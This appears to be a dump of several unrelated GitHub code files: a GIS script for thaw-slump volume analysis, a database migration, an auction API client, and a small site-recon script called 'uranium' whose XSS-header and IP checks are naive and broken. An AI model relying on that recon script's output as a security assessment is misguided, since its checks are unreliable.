https://tc.copernicus.org/preprints/tc-2022-149/\r\n#\r\n# Author: Jurjen van der Sluijs, Unmanned Aircraft Systems Coordinator, NWT Centre for Geomatics, Yellowknife, Northwest Territories, Canada (jurjen_vandersluijs@gov.nt.ca)\r\n#\r\n# Created: 17/07/2019 (Original). Last metadata edits (02/09/2023)\r\n#\r\n# Licence: CC Attribution-NonCommercial-ShareAlike (CC BY-NC-SA)\r\n# Remix, tweak, build upon this work is allowed non-commercially and license new creations under identical terms.\r\n#\r\n# Citation: Developed for the following preprint: Van der Sluijs et al., Allometric scaling of retrogressive thaw slumps, Cryosphere Discussions (in review): https://tc.copernicus.org/preprints/tc-2022-149/\r\n# Use associated final peer-reviewed article where possible.\r\n#\r\n# Dependencies:\r\n# • Developed and tested using ESRI ArcGIS Pro v2.7 to v2.9 with ArcPy, Spatial Analyst or 3D Analyst\r\n# • Developed and tested using Python 3.7.11 [MSC v.1927 64 bit (AMD64)] on win32\r\n#\r\n# Considerations:\r\n# • Shapefile must have a “UniqueID” attribute.\r\n# • Shapefile is allowed to have overlapping polygons, which normally provide erroneous ArcGIS Zonal Statistics as Table results as polygons are normally rasterized before raster statistics are generated.\r\n# In the provided Python code features are processed iteratively in batch mode, thus this limitation has been overcome.\r\n# • If the spatial resolution of the input DEM is not 1 m, a multiplication is required in order to derive volumes in cubic metres. For example, for the 2 m resolution ArcticDEM this factor is 2 x 2 = 4.\r\n# For a 3 m DEM such as MVAP this factor is 3 x 3 = 9. This functionality is not included in the code and needs to be applied afterwards.\r\n#\r\n# More information:\r\n# • Preprint: Van der Sluijs et al., Allometric scaling of retrogressive thaw slumps, Cryosphere Discussions (in review): https://tc.copernicus.org/preprints/tc-2022-149/\r\n# • Supplement associated with preprint.\r\n\r\n## System definitions and extension sign-outs - DO NOT CHANGE\r\nprint(\"Start initializing\")\r\nimport sys, os, subprocess, arcpy, glob, os.path, time, math, shutil\r\nprint(\"Import OS SYS ARCPY good\")\r\nfrom subprocess import Popen, PIPE\r\nprint(\"Import SubProcess good\")\r\nfrom arcpy import env\r\nprint(\"Import ENV good\")\r\nfrom arcpy.sa import *\r\nprint(\"Import Spatial Analyst good\")\r\nfrom time import localtime, strftime\r\nprint(\"Import Time good\")\r\nprint(\"\")\r\n\r\ntry:\r\n if arcpy.CheckExtension(\"Spatial\") == \"Available\":\r\n arcpy.CheckOutExtension(\"Spatial\")\r\n else:\r\n # raise a custom exception\r\n raise LicenseError\r\nexcept LicenseError:\r\n print(\"Spatial Analyst license is unavailable\")\r\n\r\ntry:\r\n if arcpy.CheckExtension(\"3D\") == \"Available\":\r\n arcpy.CheckOutExtension(\"3D\")\r\n else:\r\n # raise a custom exception\r\n raise LicenseError\r\nexcept LicenseError:\r\n print(\"3D Analyst license is unavailable\")\r\n\r\nenv.overwriteOutput = True\r\ntotalstart = time.clock()\r\nprint(\"Initialization Complete. Start time:\",time.strftime(\"%c\", time.localtime()))\r\nprint(\"\")\r\n\r\n# Set Variables - Change as Needed\r\nenv.workspace = r\"C:\\Workspace\" # Full path to input shapefile deliniations of slumps\r\ninputDEM = r\"C:\\Workspace\\DEMs\\DEM.tif\" # Full path to input high resolution DEM (Geotif), which can represents topography in disturbed or undisturbed state (see Purpose)\r\nDEMres = 1.0 # in meters # In Step 5 adjust string \"CELLSIZE 1.0\" appropriately if the DEM does not have a spatial resolution of 1 m.\r\nIDattribute = 3 # The integer location of the column 'UniqueID' in the attribute table, following a n-1 naming convention with Python lists. (E.g., 11th column is the 10th attribute in the list including the standard columns such as FID and Shape. Enter \"10\" in this case)\r\n\r\n# Initiate loop\r\ninputVector = arcpy.ListFeatureClasses()\r\nwspace = env.workspace\r\nprint(\"The following vector files will be considered: \" + str(inputVector))\r\n\r\nfor slumpset in inputVector:\r\n\r\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\r\n# Step 1: Buffer slump digitizations by 50 m\r\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\r\n ## Shorten and reset workspace string for every iteration\r\n arcpy.env.workspace = wspace\r\n\r\n print(time.strftime(\"%X\", time.localtime()), \" Start slump buffering\")\r\n buf_start = time.clock()\r\n\r\n ### string for the output buffered digitizations folder\r\n bufFolder_name = \"00_SlumpBuffers\"\r\n newrawpath = os.path.join(env.workspace, bufFolder_name)\r\n if not os.path.exists(newrawpath): os.makedirs(newrawpath)\r\n bufFolder_joined = os.path.join(env.workspace, bufFolder_name)\r\n\r\n ### Prepare output file name\r\n desc = arcpy.Describe(slumpset)\r\n outputVector = bufFolder_joined + \"\\\\\" + desc.baseName + \"_50m_buf.shp\"\r\n\r\n arcpy.Buffer_analysis(slumpset, outputVector , \"50 Meters\", \"FULL\", \"ROUND\", \"NONE\")\r\n\r\n ### Report happy ending for buffer\r\n buf_end = time.clock()\r\n buf_elapsed = buf_end - buf_start\r\n buf_elapsedmin = buf_elapsed / 60\r\n buf_elapsedhr = buf_elapsedmin / 60\r\n print(time.strftime(\"%X\", time.localtime()), \" buffer ran successfully\")\r\n print(\"Buffer processing time: \" + str(round(buf_elapsed,0)) + \" seconds \" + \" or \" + str(round(buf_elapsedmin,1)) + \" minutes \" + \" or \" + str(round(buf_elapsedhr,4)) + \" hours \")\r\n print(\" \")\r\n\r\n # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\r\n # Step 2: Clip Input DEM to minimum bounding rectangle of buffered slump and convert to point shapefile\r\n # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\r\n print(time.strftime(\"%X\", time.localtime()), \" Start DEM Clip\")\r\n clip_start = time.clock()\r\n\r\n ### string for the output clipped DEM folder\r\n clipFolder_name = \"01_ClippedDEMs\"\r\n newrawpath = os.path.join(env.workspace, clipFolder_name)\r\n if not os.path.exists(newrawpath): os.makedirs(newrawpath)\r\n clipFolder_joined = os.path.join(env.workspace, clipFolder_name)\r\n\r\n ## Prepare slump naming convention by iteratively pulling values from attribute table, then clipping individual DEMs based on FOR-loop\r\n shapeName = arcpy.Describe(outputVector).shapeFieldName\r\n fieldnames = [field.name for field in arcpy.ListFields(outputVector)]\r\n cursor = arcpy.SearchCursor(outputVector,['UniqueID'])\r\n for row in cursor:\r\n\r\n ## Parse UniqueID for further file naming\r\n rowclean = row.getValue(fieldnames[IDattribute]) ## Here UniqueID is the n-th field in the attribute table; n-1 naming convention with Python lists. (E.g., 11th column is the 10th attribute in the list)\r\n slumpname = \"_SlumpID_\" + str(rowclean)\r\n\r\n ## Retrieve inputDEM raster name from which to concatenate with slump name and output path for output files\r\n descDEM = arcpy.Describe(inputDEM)\r\n clipDEMname = desc.baseName + slumpname + \".tif\"\r\n clipDEMoutput = clipFolder_joined + \"\\\\\" + clipDEMname\r\n\r\n ## Obtain the extent of each feature\r\n feat = row.getValue(shapeName)\r\n extent = feat.extent\r\n extentstr = str('{} {} {} {}'.format(extent.XMin, extent.YMin, extent.XMax, extent.YMax))\r\n\r\n print(slumpname)\r\n print(extentstr)\r\n\r\n ## Clip the DEM based on invidual extent\r\n arcpy.Clip_management(inputDEM, extentstr,clipDEMoutput, \"\", \"-9999\", \"NONE\", \"NO_MAINTAIN_EXTENT\")\r\n print(clipDEMname + \" successfully clipped\")\r\n\r\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\r\n# Step 3: Convert clipped DEMs to points\r\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\r\n\r\n ## Prepare slump naming convention\r\n postpointsDEMname = desc.baseName + slumpname + \"_points_post\"\r\n postpointsDEMoutput = r\"memory\" + \"\\X\" + postpointsDEMname\r\n\r\n ## Convert clupped DEMs to points\r\n arcpy.RasterToPoint_conversion(clipDEMoutput, postpointsDEMoutput, \"VALUE\")\r\n print(postpointsDEMname + \" successfully processed\")\r\n\r\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\r\n# Step 4: Select by location and remove points\r\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\r\n\r\n ## Prepare slump naming convention for interpreter\r\n prepointsDEMname = desc.baseName + slumpname + \"_points_pre\"\r\n\r\n ## Create a temporary layer for selection of points and the respective slump area (cannot rely solely on a Select by Location/intersect in case of overlapping randomized slump areas)\r\n tempPoints = \"pointsLayer\"\r\n tempArea = \"areaLayer\"\r\n arcpy.MakeFeatureLayer_management(postpointsDEMoutput, tempPoints)\r\n arcpy.MakeFeatureLayer_management(slumpset, tempArea)\r\n\r\n ## Select by attribute for correct slump area\r\n whereClause = '\"UniqueID\" = ' + str(rowclean)\r\n print(whereClause)\r\n arcpy.SelectLayerByAttribute_management(tempArea,'NEW_SELECTION',whereClause)\r\n\r\n ## Select by location and delete points\r\n arcpy.SelectLayerByLocation_management(tempPoints, \"Intersect\",tempArea)\r\n arcpy.DeleteFeatures_management(tempPoints)\r\n\r\n ## Save left-over points to new feature class\r\n print(prepointsDEMname + \" successfully processed\")\r\n\r\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\r\n# Step 5: Reinterpolate clipped points to create pre-disturbance model\r\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\r\n\r\n ### string for the output predisturbance DEM folder\r\n predisFolder_name = \"02_PredisturbDEMs\"\r\n newrawpath = os.path.join(env.workspace, predisFolder_name)\r\n if not os.path.exists(newrawpath): os.makedirs(newrawpath)\r\n predisFolder_joined = os.path.join(env.workspace, predisFolder_name)\r\n\r\n ## Retrieve inputDEM raster name from which to concatenate with slump name and predisturbance DEM\r\n predisTINname = desc.baseName + slumpname + \"_predisturbanceTIN\"\r\n predisTINoutput = predisFolder_joined + \"\\\\\" + predisTINname\r\n\r\n predisDEMname = desc.baseName + slumpname + \"_predisturbance.tif\"\r\n predisDEMoutput = predisFolder_joined + \"\\\\\" + predisDEMname\r\n\r\n ## Concatename in_features string for TIN parameters and describe spatial reference for TIN output\r\n featuresTIN = postpointsDEMoutput + \" GRID_CODE Mass_Points \"\r\n spref = arcpy.Describe(clipDEMoutput).spatialReference\r\n\r\n ## Execute NN interpolation to obtain predisturbance DEM\r\n arcpy.CreateTin_3d(predisTINoutput,spref, featuresTIN, \"DELAUNAY\")\r\n arcpy.TinRaster_3d(predisTINoutput, predisDEMoutput,\"FLOAT\",\"NATURAL_NEIGHBORS\",\"CELLSIZE 1.0\",\"1\")\r\n arcpy.Delete_management(postpointsDEMoutput)\r\n\r\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\r\n# Step 6: Create DOD through Raster Algebra\r\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\r\n\r\n ### string for the output DOD folder\r\n dodFolder_name = \"03_DODs\"\r\n newrawpath = os.path.join(env.workspace, dodFolder_name)\r\n if not os.path.exists(newrawpath): os.makedirs(newrawpath)\r\n dodFolder_joined = os.path.join(env.workspace, dodFolder_name)\r\n\r\n ## Retrieve inputDEM raster name from which to concatenate with slump name and predisturbance DEM to name DOD raster\r\n dodname = desc.baseName + slumpname + \"_dod.tif\"\r\n dodoutput = dodFolder_joined + \"\\\\\" + dodname\r\n\r\n ## Execute Raster Algebra for DOD\r\n outMinus = Minus(clipDEMoutput, predisDEMoutput)\r\n outMinus.save(dodoutput)\r\n arcpy.CalculateStatistics_management(dodoutput, \"\", \"\", \"\")\r\n\r\n print(dodname + \" successfully processed\")\r\n\r\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\r\n# Step 7: Create Summary Statistics of area and volume through Zonal Statistics\r\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\r\n\r\n ### string for the output Zonal Statistics folder\r\n zsFolder_name = \"04_IndZonalStats_\" + desc.baseName\r\n newrawpath = os.path.join(env.workspace, zsFolder_name)\r\n if not os.path.exists(newrawpath): os.makedirs(newrawpath)\r\n zsFolder_joined = os.path.join(env.workspace, zsFolder_name)\r\n\r\n ## Retrieve inputDEM raster name from which to concatenate with slump name and DOD raster to name Zonal Statistics table\r\n iTablename = desc.baseName + slumpname + \"_zs.dbf\"\r\n iTableoutput = zsFolder_joined + \"\\\\\" + iTablename\r\n\r\n ## Select by Attribute on slump name to ensure that only the feature itself is used (closely located slumps cause multiple records for each when merged; next step). Start with temporary layer creation, then concatenation of SQL query string before running zonal statistics tool.\r\n\r\n ## Create a temporary layer for selection\r\n zoneLayer = \"zone\"\r\n arcpy.MakeFeatureLayer_management(slumpset, zoneLayer)\r\n\r\n ## Concatenate query\r\n qry = \"\"'UniqueID'\" = \" + str(rowclean) + \" \"\r\n\r\n ## Select by Attribute\r\n arcpy.SelectLayerByAttribute_management(zoneLayer, \"NEW_SELECTION\",qry)\r\n\r\n ## Run Zonal Statistics as a Table for each individual unbuffered feature\r\n arcpy.gp.ZonalStatisticsAsTable_sa(zoneLayer, \"UniqueID\", dodoutput, iTableoutput, \"DATA\", \"ALL\")\r\n\r\n print(iTablename + \" successfully processed\")\r\n print(\"\")\r\n\r\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\r\n# Step 8: Calculate RMSE and save as table\r\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\r\n\r\n ### string for the output Zonal Statistics folder\r\n rmseFolder_name = \"05_IndRMSEStats_\" + desc.baseName\r\n newrawpath = os.path.join(env.workspace, rmseFolder_name)\r\n if not os.path.exists(newrawpath): os.makedirs(newrawpath)\r\n rmseFolder_joined = os.path.join(env.workspace, rmseFolder_name)\r\n\r\n ## Retrieve inputDEM raster name from which to concatenate with slump name and DOD raster to name Zonal Statistics table\r\n rmseTablename = desc.baseName + slumpname + \"_rmse.dbf\"\r\n rmseTableoutput = rmseFolder_joined + \"\\\\\" + rmseTablename\r\n\r\n ## Retrieve inputDEM raster name from which to concatenate with slump name to name squared DOD raster\r\n dodsqname = desc.baseName + slumpname + \"_dodsq.tif\"\r\n dodsqoutput = dodFolder_joined + \"\\\\\" + dodsqname\r\n\r\n ## Execute Raster Algebra for RMSE\r\n outSquare = Square(dodoutput)\r\n outSquare.save(dodsqoutput)\r\n arcpy.CalculateStatistics_management(dodsqoutput, \"\", \"\", \"\")\r\n\r\n print(dodsqname + \" successfully processed\")\r\n\r\n ## Select by Attribute on slump name to ensure that only the feature itself is used (closely located slumps cause multiple records for each when merged; next step). Start with temporary layer creation, then concatenation of SQL query string before running zonal statistics tool.\r\n\r\n ## Create a temporary layer for selection\r\n zoneLayer = \"zone\"\r\n arcpy.MakeFeatureLayer_management(slumpset, zoneLayer)\r\n\r\n ## Concatenate query\r\n qry = \"\"'UniqueID'\" = \" + str(rowclean) + \" \"\r\n\r\n ## Select by Attribute\r\n arcpy.SelectLayerByAttribute_management(zoneLayer, \"NEW_SELECTION\",qry)\r\n\r\n ## Run Zonal Statistics as a Table for each individual unbuffered feature\r\n arcpy.gp.ZonalStatisticsAsTable_sa(zoneLayer, \"UniqueID\", dodsqoutput, rmseTableoutput, \"DATA\", \"MEAN\")\r\n\r\n print(rmseTablename + \" successfully processed\")\r\n print(\"\")\r\n\r\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\r\n# Step 9: Create Summary Statistics through Zonal Statistics and merge per iteration\r\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\r\n\r\n ### string for the output Zonal Statistics folder\r\n fzsFolder_name = \"06_FinalZonalStats\"\r\n newrawpath = os.path.join(env.workspace, fzsFolder_name)\r\n if not os.path.exists(newrawpath): os.makedirs(newrawpath)\r\n fzsFolder_joined = os.path.join(env.workspace, fzsFolder_name)\r\n\r\n ## Retrieve a list of tables with statistics of each individual slump\r\n arcpy.env.workspace = zsFolder_joined\r\n tableList = arcpy.ListTables()\r\n\r\n print(\"The following tables will be merged:\")\r\n for table in tableList:\r\n print(table)\r\n\r\n ## Retrieve input vector name from which to concatenate with final statistics name for merged DBF table output\r\n fTablename = desc.baseName + \"_FinalStatistics\" + \".dbf\"\r\n fTableoutput = fzsFolder_joined + \"\\\\\" + fTablename\r\n\r\n ## Merge list of tables in final table output\r\n arcpy.Merge_management(tableList,fTableoutput)\r\n\r\n print(fTablename + \" successfully processed\")\r\n print(\"\")\r\n\r\n ### Report happy ending for iteration\r\n clip_end = time.clock()\r\n clip_elapsed = clip_end - clip_start\r\n clip_elapsedmin = clip_elapsed / 60\r\n clip_elapsedhr = clip_elapsedmin / 60\r\n print(time.strftime(\"%X\", time.localtime()), \" iteration ran successfully\")\r\n print(\"Area/volume processing time for iteration: \" + str(round(clip_elapsed,0)) + \" seconds \" + \" or \" + str(round(clip_elapsedmin,1)) + \" minutes \" + \" or \" + str(round(clip_elapsedhr,4)) + \" hours \")\r\n print(\" \")\r\n\r\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\r\n# Step 10: Create Summary Statistics through Zonal Statistics and merge per iteration\r\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\r\n\r\n ## Shorten and reset workspace string for every iteration\r\n arcpy.env.workspace = wspace\r\n\r\n ### string for the output Zonal Statistics folder\r\n frmseFolder_name = \"07_FinalRMSEStats\"\r\n newrawpath = os.path.join(env.workspace, frmseFolder_name)\r\n if not os.path.exists(newrawpath): os.makedirs(newrawpath)\r\n frmseFolder_joined = os.path.join(env.workspace, frmseFolder_name)\r\n\r\n ## Retrieve a list of tables with statistics of each individual slump\r\n arcpy.env.workspace = rmseFolder_joined\r\n rmsetableList = arcpy.ListTables()\r\n\r\n print(\"The following tables will be merged:\")\r\n for rmsetable in rmsetableList:\r\n print(rmsetable)\r\n\r\n ## Retrieve input vector name from which to concatenate with final statistics name for merged DBF table output\r\n frmseTablename = desc.baseName + \"_FinalRMSE\" + \".dbf\"\r\n frmseTableoutput = frmseFolder_joined + \"\\\\\" + frmseTablename\r\n\r\n ## Merge list of tables in final table output\r\n arcpy.Merge_management(rmsetableList,frmseTableoutput)\r\n\r\n print(frmseTablename + \" successfully processed\")\r\n print(\"\")\r\n\r\n ### Report happy ending for iteration\r\n clip_end = time.clock()\r\n clip_elapsed = clip_end - clip_start\r\n clip_elapsedmin = clip_elapsed / 60\r\n clip_elapsedhr = clip_elapsedmin / 60\r\n print(time.strftime(\"%X\", time.localtime()), \" iteration ran successfully\")\r\n print(\"Area/volume processing time for iteration: \" + str(round(clip_elapsed,0)) + \" seconds \" + \" or \" + str(round(clip_elapsedmin,1)) + \" minutes \" + \" or \" + str(round(clip_elapsedhr,4)) + \" hours \")\r\n print(\" \")\r\n\r\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\r\n# Step 11: Merge zonal statistics of all iterations together\r\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\r\n\r\n## Retrieve a list of tables with statistics of each individual slump\r\narcpy.env.workspace = fzsFolder_joined\r\nfsTableList = arcpy.ListTables()\r\n\r\nprint(\"The following tables will be merged:\")\r\nprint(fsTableList)\r\n\r\n## Retrieve input vector name from which to concatenate with final statistics name for merged DBF table output\r\nfsTablename = desc.baseName + \"_FinalStatistics_merged\" + \".dbf\"\r\nfsTableoutput = fzsFolder_joined + \"\\\\\" + fsTablename\r\n\r\n## Merge list of tables in final table output\r\narcpy.Merge_management(fsTableList,fsTableoutput)\r\n\r\nprint(fsTablename + \" successfully processed\")\r\nprint(\"\")\r\n\r\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\r\n# Step 12: Merge RMSE statistics of all iterations together\r\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\r\n\r\n## Retrieve a list of tables with statistics of each individual slump\r\narcpy.env.workspace = frmseFolder_joined\r\nfmrmseTableList = arcpy.ListTables()\r\n\r\nprint(\"The following tables will be merged:\")\r\nprint(fmrmseTableList)\r\n\r\n## Retrieve input vector name from which to concatenate with final statistics name for merged DBF table output\r\nfmrmseTablename = desc.baseName + \"_FinalRMSE_merged\" + \".dbf\"\r\nfmrmseTableoutput = frmseFolder_joined + \"\\\\\" + fmrmseTablename\r\n\r\n## Merge list of tables in final table output\r\narcpy.Merge_management(fmrmseTableList,fmrmseTableoutput)\r\n\r\nprint(fmrmseTablename + \" successfully processed\")\r\nprint(\"\")\r\n\r\n### Report happy ending for iteration\r\ntotalend = time.clock()\r\ntotal_elapsed = totalend - totalstart\r\ntotal_elapsedmin = total_elapsed / 60\r\ntotal_elapsedhr = total_elapsedmin / 60\r\nprint(time.strftime(\"%X\", time.localtime()), \" script ran successfully\")\r\nprint(\"Area/volume processing time for script: \" + str(round(total_elapsed,0)) + \" seconds \" + \" or \" + str(round(total_elapsedmin,1)) + \" minutes \" + \" or \" + str(round(total_elapsedhr,4)) + \" hours \")\r\nprint(\" \")","repo_name":"jurjenvdsluijs/RTSareavolume","sub_path":"Code/DEM_PredisturbanceGeneration_AreaVolumeCalc_Batch_NN_Py3.py","file_name":"DEM_PredisturbanceGeneration_AreaVolumeCalc_Batch_NN_Py3.py","file_ext":"py","file_size_in_byte":23509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74621725683","text":"\"\"\"empty message\n\nRevision ID: 41921ec53f01\nRevises: \nCreate Date: 2020-11-20 18:17:37.894081\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '41921ec53f01'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('users',\n sa.Column('created', sa.DateTime(), nullable=False),\n sa.Column('updated', sa.DateTime(), nullable=True),\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=255), nullable=True),\n sa.Column('email', sa.String(length=255), nullable=True),\n sa.Column('password', sa.String(length=255), nullable=True),\n sa.PrimaryKeyConstraint('id', name=op.f('pk_users'))\n )\n with op.batch_alter_table('users', schema=None) as batch_op:\n batch_op.create_index(batch_op.f('ix_users_email'), ['email'], unique=True)\n\n op.create_table('stores',\n sa.Column('created', sa.DateTime(), nullable=False),\n sa.Column('updated', sa.DateTime(), nullable=True),\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=150), nullable=True),\n sa.Column('slug', sa.String(length=255), nullable=True),\n sa.Column('description', sa.String(length=255), nullable=True),\n sa.Column('user_id', sa.Integer(), nullable=False),\n sa.ForeignKeyConstraint(['user_id'], ['users.id'], name=op.f('fk_stores_user_id_users')),\n sa.PrimaryKeyConstraint('id', name=op.f('pk_stores'))\n )\n with op.batch_alter_table('stores', schema=None) as batch_op:\n batch_op.create_index(batch_op.f('ix_stores_name'), ['name'], unique=True)\n\n op.create_table('products',\n sa.Column('created', sa.DateTime(), nullable=False),\n sa.Column('updated', sa.DateTime(), nullable=True),\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=255), nullable=False),\n sa.Column('description', sa.String(length=150), nullable=True),\n sa.Column('store_id', sa.Integer(), nullable=False),\n sa.Column('price_cents', sa.Integer(), nullable=True),\n sa.Column('picture_url', sa.String(), nullable=True),\n sa.ForeignKeyConstraint(['store_id'], ['stores.id'], name=op.f('fk_products_store_id_stores')),\n sa.PrimaryKeyConstraint('id', name=op.f('pk_products'))\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('products')\n with op.batch_alter_table('stores', schema=None) as batch_op:\n batch_op.drop_index(batch_op.f('ix_stores_name'))\n\n op.drop_table('stores')\n with op.batch_alter_table('users', schema=None) as batch_op:\n batch_op.drop_index(batch_op.f('ix_users_email'))\n\n op.drop_table('users')\n # ### end Alembic commands ###\n","repo_name":"dieume-n/Yumroad","sub_path":"migrations/versions/41921ec53f01_.py","file_name":"41921ec53f01_.py","file_ext":"py","file_size_in_byte":2855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"31425184505","text":"# Library / Module containing necessary functions to communicate with the API, abstracted into this module to keep the rest of the simulation more clear.\r\n\r\nimport requests\r\nfrom datetime import datetime, timedelta\r\nimport json\r\n\r\n# Module for sending API requests to the negotiation engine.\r\n\r\n# Perhaps import this from the config file?\r\nAPI_URL = \"http://127.0.0.1:5000\"\r\nTIME_OUT = 1 # Seconds\r\nROOM_DURATION = 5 # Minutes\r\n\r\ndef endAuction(room_id:str, username:str, winner:str):\r\n \"Used to decide on a winner for the auction, username needs to be the admin for the auction and winner the username of the person who won\"\r\n r = requests.post(API_URL+\"/rooms/\"+room_id+\"/end\", auth=(username, ''), data={\"winner\":winner})\r\n return r.text\r\n\r\ndef getWinner(room_id:str, username:str):\r\n \"Used to get the winner of an auction after it has ended\"\r\n r = requests.get(API_URL+\"/rooms/\"+room_id+\"/end\", auth=(username, ''))\r\n return r.text\r\n\r\ndef placeBid(room_id:str, username:str, value:int):\r\n \"Places a bid to auction with amount , returns True if successful, otherwise False\"\r\n\r\n r = requests.post(API_URL+\"/rooms/\"+room_id, auth=(username, ''), timeout=TIME_OUT, data={'message_input':value})\r\n if(r.status_code == 200):\r\n return True\r\n else:\r\n return False\r\n\r\ndef getRoomInfo(room_id:str, username:str, order:str):\r\n \"\"\"\r\n Used to get all the auction bids placed in a specific auction room. \r\n Can order the list by time (order = 'time') or bid amount (order = 'bid')\r\n \"\"\"\r\n r = requests.get(API_URL+\"/rooms/\"+room_id, auth=(username, ''), timeout=TIME_OUT)\r\n if(r.status_code != 200):\r\n print(\"Error\")\r\n return\r\n \r\n json_obj = r.json() \r\n value = json_obj[\"Bids\"]\r\n output = []\r\n if(len(value) == 0):\r\n output.append({\"room_id\" : room_id, \"user\" : 'N/A', \"value\" : 0}) # Incase there are no bids in the auction, usually when simulation has just started\r\n else:\r\n for entry in value:\r\n output.append({\"room_id\" : room_id, \"user\" : entry[\"sender\"][\"val\"][0], \"value\" : int(entry[\"text\"][\"val\"][0])})\r\n sort = False\r\n if(order == \"bid\"):\r\n sort = True\r\n\r\n return sorted(output, key=lambda i:int(i['value']), reverse=sort)\r\n\r\ndef addUser(room_id:str, username:str):\r\n r = requests.get(API_URL+\"/rooms/\"+room_id+\"/join\", auth=(username, ''), timeout=TIME_OUT)\r\n if(r.status_code==200):\r\n return True\r\n else:\r\n return False\r\n\r\ndef createAuction(room_name:str, username:str, quantity:int):\r\n \"Posts an auction to the database and returns the Room ID if successful, otherwise None\"\r\n\r\n current_time = datetime.now() + timedelta(minutes=ROOM_DURATION)\r\n payload = {\r\n 'room_name': room_name,\r\n 'privacy': 'public',\r\n 'members': '',\r\n 'highest_bid': '',\r\n 'auction_type': 'Ascending',\r\n 'closing_time': current_time.strftime(\"%Y-%m-%dT%H:%M:%S\"),\r\n 'reference_sector': 'N/A',\r\n 'reference_type': 'N/A',\r\n 'quantity': str(quantity),\r\n 'templatetype': 'article',\r\n 'articleno': 'N/A'\r\n }\r\n \r\n r = requests.post(API_URL+\"/create-room\", auth=(username, ''), timeout=TIME_OUT, data=payload)\r\n if(r.status_code == 200):\r\n json_obj = r.json() # Some formatting of the original JSON return message\r\n out = str(json_obj[\"message\"]) # to only return the room id to caller\r\n return out.split(\"id: \",1)[1]\r\n else:\r\n return None","repo_name":"elliotpk/d0020e","sub_path":"Src/APILink.py","file_name":"APILink.py","file_ext":"py","file_size_in_byte":3666,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"38835529255","text":"import requests\r\nimport socket\r\nprint(\"\"\" \r\n _ \r\n (_) \r\n _ _ _ __ __ _ _ __ _ _ _ _ __ ___ \r\n| | | | '__/ _` | '_ \\| | | | | '_ ` _ \\ \r\n| |_| | | | (_| | | | | | |_| | | | | | |\r\n \\__,_|_| \\__,_|_| |_|_|\\__,_|_| |_| |_|\r\n \r\n \r\n\"\"\")\r\n# URL do alvo\r\nurl = \"http://www.example.com/\"\r\n\r\n# Envia a solicitação\r\nr = requests.get(url)\r\n\r\n# Verifica se o site está online\r\nif r.status_code == 200:\r\n print(\"Site está online!\")\r\n\r\n # Verifica a proteção do site\r\n if r.headers['X-XSS-Protection'] == '1; mode=block':\r\n print(\"Site protegido contra XSS!\")\r\n else:\r\n print(\"Site não protegido contra XSS!\")\r\n\r\n # Verifica os domínios escondidos\r\n print(\"Domínios escondidos:\")\r\n for link in r.text.split(' '):\r\n if link.startswith('http'):\r\n print(link)\r\n\r\n # Verifica os IPs logados\r\n print(\"IPs logados:\")\r\n for ip in socket.gethostbyname_ex(url)[2]:\r\n print(ip)\r\n\r\nelse:\r\n print(\"Site está offline!\")","repo_name":"1bisgit/uranium","sub_path":"uranium.py","file_name":"uranium.py","file_ext":"py","file_size_in_byte":1135,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"29932909623","text":"# hectafeet test values\nGOAL_L = 100 * 6.5\nMIN_TURN_RADIUS = 13\nLANDING_MARGIN = 13\n\nORIGIN_COORDS = 310, 310\nGOAL_COORDS = 350, 350\nSCREEN_DIM = 700, 700\nMAX_CURVE = MIN_TURN_RADIUS * 5\nNUM_POINTS = 5\nMAX_ITERATIONS = 15\nMAX_SEARCH_RAD = 200\n","repo_name":"Case-Rocket-Team/Guidance-Algorithm-Prototype","sub_path":"constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"22296284761","text":"from pylab import plot,grid,title,subplot,xlabel,ylabel,text,subplots_adjust,fill_between,mean,connect,show\nimport shogun as sg\nimport util\n\nutil.set_title('PRC 